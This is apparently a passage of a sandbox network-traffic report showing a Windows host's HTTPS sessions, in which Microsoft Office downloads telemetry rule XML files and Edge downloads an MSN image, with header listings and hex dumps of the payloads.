2024-11-11 18:52:24 UTC	15866	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 0f dd a1 9b 00 00 0c 3e 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 10 20 80 80 94 d0 9b 20 22 25 80 94 10 5a 00 e9 45 b0 11 92 00 a1 c4 18 08 2a 76 74 51 c1 b5 8b 08 d8 d0 55 11 c5 0e 88 1d b1 b3 28 f6 be 58 50 50 d6 c5 82 5d 79 93 02 ba ee 2b df 9b 7c 33 f3 e7 9f 33 ff 39 73 ee dc 32 00 d0 4f f0 24 92 1c 54 13 80 5c 71 be 34 36 24 80 39 26 39 85 49 ea 02 28 a0 c2 df 50 40 e7 f1 f3 24 ec e8 e8 08 00 cb 40 ff f7 f2 ee 06 40 e4 fd 55 47 b9 d6 3f c7 ff 6b d1 12 08 f3 f8 00 20 d1 10 a7 09 f2 f8 b9 10 1f 00 00 af e2 4b a4 f9 00 10 e5 bc c5 94 7c 89 1c c3 0a 74 a4 30 40 88 17 ca 71 86 12 57 c9 71 9a 12 ef 51 d8 c4 c7 72 20 6e Data Ascii: PNGIHDR>iCCPICC ProfileHWXS[ "%ZE*vtQU(XPP]y+\|339s2O$T\q46$9&9I(P@$@@UG?k K\|t0@qWqQr n
2024-11-11 18:52:24 UTC	4945	IN	Data Raw: 3d f7 52 13 58 62 fb e9 21 5b 75 03 17 1c 54 6d 19 c9 a8 68 28 42 9d 72 18 59 2e 37 2a 0c 62 39 95 49 f4 d3 4f 3f dd 5c 95 c7 7f 5e 26 47 55 66 a3 ea 36 56 f1 51 09 75 c5 13 0a 63 96 51 3e 61 c6 4e 30 31 02 fb 25 ac ba ef f1 51 a3 42 71 d6 c4 60 4d d0 b4 22 a3 45 5b 46 7d 48 2d fb 24 ab b3 11 2c 12 46 4c d6 28 60 28 2f fd 89 ad 4e 3b ed b4 70 0a 37 30 5d 55 33 e8 8b ab f4 61 23 b0 4f 04 f6 4b 58 2e 2f c8 4a 25 4c 43 94 67 ef b3 5a 9d fd c0 11 18 09 68 2c 3c 41 d3 0e 86 ab 53 52 ba 3f f9 a6 85 af a7 7b ea 87 ad bc 55 63 45 55 e2 a9 dc ba b0 55 85 57 e3 55 5a 6e 04 0e 04 81 03 20 ac 72 d0 12 0e a4 66 5d c8 c1 22 50 bc b3 28 36 fa d0 96 53 95 ac 04 4a 67 05 4d 1e e7 99 a2 fa ae ef fa 2e 2f d3 58 05 2a c8 0a 49 b9 63 89 ac 13 61 49 46 40 5b 8b 77 92 17 17 ed Data Ascii: =RXb![uTmh(BrY.7b9IO?\^&GUf6VQucQ>aN01%QBq`M"E[F}H-$,FL(`(/N;p70]U3a#OKX./J%LCgZh,<ASR?{UcEUUWUZn rf]"P(6SJgM./XIcaIF@[w

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 8377dffe-c01e-00a1-6ad5-337e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185224Z-174f7845968glpgnhC1EWR7uec00000005cg00000000sgy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:24 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 072c0228-901e-00ac-3ad5-33b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185223Z-174f7845968qj8jrhC1EWRh41s000000055g00000000rbhm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5eaa081d-f01e-0099-68d5-339171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185224Z-174f7845968jrjrxhC1EWRmmrs00000005eg00000000e9mu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 186f8a49-401e-005b-46d5-339c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185224Z-174f7845968j9dchhC1EWRfe74000000052g00000000rp05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a7e44230-001e-0082-7dd5-335880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185223Z-174f7845968px8v7hC1EWR08ng00000005q0000000000xpb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:24 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49851	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:24 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:24 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKSj Last-Modified: Sat, 09 Nov 2024 01:22:53 GMT X-Source-Length: 101189 X-Datacenter: eastus X-ActivityId: 5b57a263-e6db-4ae5-a285-a421698df971 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 101189 Cache-Control: public, max-age=196190 Expires: Thu, 14 Nov 2024 01:22:14 GMT Date: Mon, 11 Nov 2024 18:52:24 GMT Connection: close
2024-11-11 18:52:24 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 18:52:24 UTC	16384	IN	Data Raw: 04 21 64 c2 12 2c 9a 42 14 18 08 8e 3f 59 f8 21 4c d8 21 42 8b 5c 9a 17 5a c9 02 fd ee 1f 2f 24 10 98 44 2a 8b 4f d8 f9 24 0b 55 09 b1 23 cb 74 28 05 2b 52 0e 27 30 c3 81 61 89 87 72 98 3b 58 c1 33 c2 12 88 83 63 3d 52 32 e1 17 4f 98 ee b9 5c 24 6b 73 8b a2 48 e5 10 20 0d 87 0b 47 89 dd 00 f1 56 b9 01 47 86 c3 cb f1 ea 88 2e b9 95 68 21 23 16 42 11 aa 35 42 28 13 c6 27 6d 89 f1 83 0a e1 5c 14 29 6e 71 71 26 c2 7a 0f a5 ad 08 61 12 b4 1a cc 52 db 99 bc 83 00 0f 2e 26 c8 29 24 12 01 81 72 6f 03 a9 4c 84 45 e6 8a 2d 48 25 db 09 24 da e6 24 f4 e0 10 10 ca e4 cb 09 91 3e 3b 75 40 90 02 37 36 36 24 8b 5e 22 fc 57 2e dd 09 07 db fb 2e 44 55 04 d0 14 7d 49 f1 56 09 12 06 c7 7d 94 9c 65 c0 3c b6 a9 a4 dd b1 66 8d c9 30 4c 79 47 9a 12 8c 2c 8a a3 33 13 3c 3c fc 95 Data Ascii: !d,B?Y!L!B\Z/$D*O$U#t(+R'0ar;X3c=R2O\$ksH GVG.h!#B5B('m\)nqq&zaR.&)$roLE-H%$$>;u@766$^"W..DU}IV}e<f0LyG,3<<
2024-11-11 18:52:24 UTC	1766	IN	Data Raw: f3 b9 c2 e3 8d 99 07 6b 93 75 8f a4 0f f6 73 ea 76 72 6b 73 6b 61 b5 65 db 45 64 52 66 78 6c 17 ad 6f b5 03 72 1c 79 71 9e 6d a0 89 3d 81 0e 81 7e 84 9e 8a e7 7b 3d d9 d8 f2 ad c0 f7 81 10 4f e5 30 d7 79 80 4c 1f 03 2a 33 9a 41 82 08 23 81 10 67 a8 5e cd d9 f4 e3 2b 9a 58 d0 d2 3f c4 60 12 09 bd 2e 0d b8 89 ef 3b c2 8f 93 48 d7 bb 0b 35 2f e6 c8 03 ab 69 a0 db f8 9a b9 9c 20 f1 20 ae 9e bf 6f ca 5e 4e 15 47 55 bd ab f6 6b f0 f3 b1 e1 cc 89 2f 34 c3 7c c0 33 4f 56 c9 e8 b1 ce 37 34 07 11 62 26 45 da 7c 8f 6f 38 5d 33 bc ed ee 94 78 5c 9b 10 85 6b a9 2d 72 35 c9 80 2e 44 b9 04 15 c8 d0 20 9c b9 5a b8 41 81 52 38 54 82 52 e4 48 54 85 2a 44 b9 00 2a ab f4 cb 5d 21 a4 11 04 8a 80 bf e5 e3 e4 8b 82 8f 91 e1 94 b4 b4 bc b8 d9 80 5d d7 f2 58 7d 97 25 5f 59 b5 2f Data Ascii: kusvrkskaeEdRfxloryqm=~{=O0yL3A#g^+X?`.;H5/i o^NGUk/4\|3OV74b&E\|o8]3x\k-r5.D ZAR8TRHTD*]!]X}%_Y/
2024-11-11 18:52:24 UTC	16384	IN	Data Raw: 94 92 bb a0 71 29 64 aa 25 2c 95 44 a2 52 09 46 4a 49 54 02 50 15 68 13 20 94 08 d1 e3 0d 2f 0d 79 80 7b 10 3e 64 cd 91 b8 8a 8c 85 7a 57 fb 3f 18 63 8d 4f 04 77 2d 2d 98 90 2d dd 62 37 11 c8 25 85 ae b9 05 b5 0a 81 1c 38 78 46 e9 4e f2 a3 65 43 5c 98 e6 d0 48 75 88 dc 29 38 f4 ce c8 dc 8f 90 c6 e3 61 7b 89 dc b4 02 6c 38 cc 40 3b 4f 15 57 b4 80 ac 78 1f 95 c0 31 a4 cc c5 8c 58 49 5e a7 4b ec c1 27 d4 3c df a6 f0 5b bb 3f 33 4d a0 de d6 1c 37 0b 37 41 af 71 2d 6e 3c 38 d9 8a c0 3d c4 4b c9 68 98 2e 73 65 f7 2e 75 2d 23 82 d1 66 a9 ae d5 ea 18 5e 5f 1e eb 9a 63 94 34 90 d7 53 62 d8 75 af 32 2e b9 3b 7d 96 fa 78 67 75 a7 9b 4e 32 66 6e 53 93 3e 3c 83 94 37 11 80 f2 0c c9 64 89 8f eb 30 38 84 dc fa b7 60 7e 26 7a 39 32 35 fe f6 4e 0c 6d cb 8b 84 76 13 c0 1e Data Ascii: q)d%,DRFJITPh /y{>dzW?cOw---b7%8xFNeC\Hu)8a{l8@;OWx1XI^K'<[?3M77Aq-n<8=Kh.se.u-#f^_c4Sbu2.;}xguN2fnS><7d08`~&z925Nmv
2024-11-11 18:52:24 UTC	16384	IN	Data Raw: 7a 88 f1 d9 6d 33 09 38 2a 78 2c c6 1b 00 b8 dc f7 75 3b 92 78 0e 3b a1 36 a1 e9 f0 b3 44 c7 1c cf 63 4b da 4c 93 bb 4f 00 d1 2e 24 cf 05 13 06 0c 39 28 82 44 19 83 b3 e0 f1 69 98 81 c1 64 eb 33 bb 23 e1 ae 71 68 f7 41 ec 38 ba 38 f4 d8 6c a0 e2 c8 f6 3a 1a 4d ed bf c9 2d 69 23 68 61 c6 e2 fc 8e 88 0e 86 b1 a2 03 c9 36 f0 e3 68 41 e8 b7 d5 61 61 0d 22 48 02 26 5b 7d b6 83 e6 ad fa 6c f0 c6 be 96 45 e4 9d e4 ef 69 b8 16 e8 b4 74 fa 13 8c 8c 99 8d 34 98 6c 11 7f ea b0 f7 7c f7 4d 44 1c 4c 27 d5 2e 7b 5a 60 98 7e ee 32 4c 4c 98 1b 79 a7 e9 b5 25 f5 e0 e6 87 fb a2 77 03 60 4f 08 81 e0 a3 30 3f 50 ec 8c 66 40 cd cf 35 aa 1e 13 1d 63 75 d8 c1 39 bd 36 38 12 d9 e7 82 2e dd c8 9b db aa 7a 1a a7 2f a1 9f 1b 4b 83 5e 5a 0b f8 b4 3a 48 b9 b7 91 db 75 a3 48 cd 9b 1b Data Ascii: zm38*x,u;x;6DcKLO.$9(Did3#qhA88l:M-i#ha6hAaa"H&[}lEit4l\|MDL'.{Z`~2LLy%w`O0?Pf@5cu968.z/K^Z:HuH
2024-11-11 18:52:24 UTC	7952	IN	Data Raw: 00 0f 9f 1d 75 41 cf f4 43 5b 4c 10 62 72 47 f1 9e c3 8e f1 e6 a2 69 06 4d 6e 53 97 27 b8 d1 16 90 db dc 32 4e cd 1c 6e 13 9b 89 ec e6 cd 0c da 8c 38 cc e4 0c 6e cd d8 c0 3c 4b 94 c8 cd 98 5c 33 13 41 24 62 60 2e 0d 6f 56 c7 3b 8f 19 20 2b 69 9f 08 ba cd 5c ff 00 86 5a 1a d1 1c a2 d2 36 03 87 8a c2 d3 35 fa cc f1 73 4c 3b 73 6b de 4d c9 2a 53 f0 fe f3 2d 0c 2e 0d 61 73 6f ca 49 07 7a 44 81 f3 2b 47 52 d6 68 1a 34 98 84 66 70 9c cf d9 cc 69 10 31 8e c5 df ca 0d 85 92 69 3a e4 23 59 94 bf 2c 36 32 06 99 bf bb 2d de 26 2d 3c 7a 2c 0c c7 76 8e f2 6d df ad ca 97 93 fc 38 2e 6b ed 4c 36 39 48 1b 0e c3 be ea 2b 31 89 00 6e 78 de dd e4 46 d3 b0 48 49 89 58 47 a5 4b aa aa 5d 34 83 b5 b6 b7 85 cf 82 f4 58 f2 5f 90 96 d4 d2 0d 8c 1b f6 ee 47 12 b1 08 c7 8a 8b 8b b8 Data Ascii: uAC[LbrGiMnS'2Nn8n<K\3A$b`.oV; +i\Z65sL;skM*S-.asoIzD+GRh4fpi1i:#Y,62-&-<z,vm8.kL69H+1nxFHIXGK]4X_G
2024-11-11 18:52:24 UTC	16384	IN	Data Raw: 3e 5f 5d c0 06 9c 78 3d 57 32 a1 30 05 64 0a 84 8e 67 54 83 4b a7 d4 33 23 9b 9b 55 9f 33 18 da de c3 8f 1e 3c 72 0c 0a 9c 4d 32 08 b3 4b a0 f7 5e a3 13 3f 6a c6 b7 4f a7 38 cb de 5d 92 72 34 52 49 21 c5 86 ee 73 c3 49 18 c9 00 36 50 bb 46 dd 50 c8 1f 8d c7 1c 1f 45 8e cd 96 9c 4e 80 d2 e7 b5 8e 35 10 00 20 98 b9 28 2f f6 bc f0 d0 e8 72 e5 71 ab 54 fa a0 e4 7e 36 62 75 46 f0 72 35 a4 98 df c7 82 76 26 e0 d3 e9 f3 06 33 51 8d ac 00 bc b8 e1 16 79 86 d4 e9 0d 6c fe 5f 78 5a 41 5a ef d3 e4 66 9d fa 6f 4b 07 a6 f0 da bf 48 b6 a2 d3 ca 5d 49 00 c6 d0 78 71 49 7e 84 e6 68 63 b3 ea 2d 31 e9 b3 18 37 b1 a9 c0 4b ac 20 17 5e e4 ca 91 78 b2 fd 4d 3b 03 46 41 a9 6d 4f 81 4e 4d 3b de e3 1b 52 c2 e7 13 7e de 29 f8 3d a5 a0 c3 53 5b fb be 20 b8 50 1c 41 e0 25 a2 91 e4 Data Ascii: >_]x=W20dgTK3#U3<rM2K^?jO8]r4RI!sI6PFPEN5 (/rqT~6buFr5v&3Qyl_xZAZfoKH]IxqI~hc-17K ^xM;FAmONM;R~)=S[ PA%
2024-11-11 18:52:24 UTC	7187	IN	Data Raw: 43 1b ff 00 17 16 fc ba 25 51 8e 39 86 3f 93 4f d6 9f 82 3f 47 23 43 89 a1 cc 64 12 e7 1f 4d 87 bf f9 4a 56 60 fc 0f 82 da 5c 5b 6a 5c 6e 44 58 de f6 da f2 50 69 30 de 11 11 b0 82 3e 83 fc 94 47 63 69 3f e2 c4 4d ac 0c 47 01 09 18 da 33 bc fa a4 ee 7d d9 2e e8 04 fe 0b 45 9a 62 d3 b3 1e dd e5 c2 4e dc 69 36 83 13 d5 23 43 f4 1a 5c 2e e1 62 49 74 11 e5 01 0f a1 51 22 66 3b 12 05 fa 11 f6 2a 43 81 c4 ed 98 c2 77 87 54 2f c6 48 ff 00 34 d2 dc 8c 88 2c 79 37 02 96 c5 b7 07 7d c2 65 a8 9e 99 c5 12 ee 33 bf bc 7c e7 b7 9a 8b 5b 43 c3 4d 47 87 2c b6 fc 2e e1 1e 1c 56 cb bd 0c 8d 15 31 f2 6f 01 83 7f 31 c3 c5 44 71 80 d7 12 e0 01 82 c7 06 da 66 fd ee 90 d2 99 95 e4 c5 51 16 3f 08 fc 66 14 93 91 e1 c7 dd e1 b5 f7 d8 fd be 48 46 37 e5 30 20 8f 36 93 6e e7 75 61 94 Data Ascii: C%Q9?O?G#CdMJV`\[j\nDXPi0>Gci?MG3}.EbNi6#C\.bItQ"f;*CwT/H4,y7}e3\|[CMG,.V1o1DqfQ?fHF70 6nua
